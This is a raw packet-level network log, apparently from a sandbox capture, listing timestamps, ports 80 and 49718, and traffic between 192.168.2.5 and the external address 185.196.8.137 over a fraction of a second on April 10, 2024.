Apr 10, 2024 10:24:11.529576063 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.529619932 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.529638052 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.529643059 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.529947042 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.529948950 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.529948950 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.529958010 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.529990911 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.529997110 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.529997110 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.530083895 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.530093908 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.530103922 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.530114889 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.530121088 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.530289888 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.530302048 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.530338049 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.530349970 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.530349970 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.530349970 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.530380964 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.530462027 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.530481100 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.530554056 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.530601978 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.530621052 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.530632019 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.530652046 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.530678034 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.530678034 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.530678988 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.530747890 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.530759096 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.530944109 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.530962944 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.530982018 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.531002998 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.531004906 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.531054020 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.531091928 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.531091928 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.531091928 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.531111956 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.531122923 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.531131983 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.531164885 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.531164885 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.531330109 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.531364918 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.531374931 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.531408072 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.531408072 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.531455994 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.531485081 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.531496048 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.531516075 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.531534910 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.531641960 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.531651974 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.531766891 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.531842947 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.531862020 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.531892061 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.532129049 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.532156944 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.532167912 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.532167912 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.532167912 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.532221079 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.532227039 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.532375097 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.532406092 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.532423019 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.532454967 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.532473087 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.532473087 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.532507896 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.532572031 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.532572031 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.532592058 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.532700062 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.532710075 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.532830954 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.532887936 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.533001900 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.533003092 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.533051014 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.533052921 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.533214092 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.533235073 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.533303022 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.533322096 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.533391953 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.533504963 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.533505917 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.533546925 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.533561945 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.533621073 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.533622026 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.533732891 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.533790112 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.533799887 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.533799887 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.533802032 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.533924103 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.533936977 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.533946991 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.533951998 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.534003019 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.534013987 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.534024000 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.534033060 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.534033060 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.534234047 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.534312010 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.534351110 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.534351110 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.534356117 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.534388065 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.534513950 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.534638882 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.534638882 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.534638882 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.534766912 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.534806967 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.534827948 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.534838915 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.534878016 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.535150051 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.535250902 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.535326958 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.535440922 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.535495996 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.535593987 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.535604954 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.535640955 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.535702944 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.535723925 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.535739899 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.535762072 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.535790920 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.535815001 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.535859108 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.535926104 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.536001921 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.536042929 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.536199093 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.536222935 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.536222935 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.536259890 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.536341906 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.536427975 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.536427975 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.536477089 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.536592007 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.536705017 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.536747932 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.536747932 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.536747932 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.536820889 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.536873102 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.536900997 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.536953926 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.536973000 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.536983013 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.537060022 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.537177086 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.537249088 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.537270069 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.537339926 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.537475109 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.537484884 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.537492990 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.537492990 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.537549019 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.537606001 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.537616968 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.537652016 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.537662983 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.537697077 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.537730932 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.537760019 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.537841082 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.537861109 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.537861109 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.537880898 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.538130045 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.538130045 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.538142920 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.538188934 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.538249969 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.538253069 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.538253069 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.538259983 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.538317919 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.538328886 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.538351059 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.538600922 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.538647890 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.538659096 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.538666964 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.538666964 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.538716078 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.538774014 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.538784027 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.538794041 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.538885117 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.538902998 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.538922071 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.538952112 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.539027929 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.539403915 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.539416075 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.539460897 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.539551973 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.539561987 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.539571047 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.539736032 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.539747000 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.539860964 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.539870977 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.539931059 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.540162086 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.540164948 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.540175915 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.540237904 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.540374994 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.540385962 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.540539026 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.540617943 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.540617943 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.540677071 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.540688038 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.540745974 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.540770054 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.540827990 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.540846109 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.540858030 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.540896893 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.541017056 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.541052103 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.541069984 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.541152000 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.541286945 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.541359901 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.541371107 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.541399002 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.541460037 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.541471004 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.541492939 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.541562080 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.541591883 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.541630030 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.541676998 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.541893005 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.542799950 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.542845011 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.542907000 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.543369055 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.543380022 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.543390036 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.543474913 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.543545008 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.543545008 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.543545008 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.545474052 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.545485020 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.545552969 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.545562029 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.545622110 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.545697927 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.545753002 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.545763016 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.545883894 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.546078920 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.546205997 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.546279907 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.546369076 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.546416998 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.546428919 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.546428919 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.546428919 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.546474934 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.546551943 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.546627998 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.546709061 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.546729088 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.546729088 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.546787024 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.546832085 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.546869040 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.546869040 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.546886921 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.546931028 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.547219992 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.547312021 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.547460079 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.547488928 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.547543049 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.547679901 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.547679901 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.547681093 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.547692060 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.547733068 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.547744036 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.547755957 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.547873020 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.547883987 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.547892094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.547990084 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.547990084 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.548012018 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.548080921 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.548120975 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.548120975 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.548126936 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.548198938 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.548322916 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.548324108 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.567698956 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.567775011 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.567962885 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.567984104 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.567984104 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.568032026 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.568042994 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.568196058 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.568214893 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.568214893 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.568237066 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.568258047 CEST	49718	80	192.168.2.5	185.196.8.137
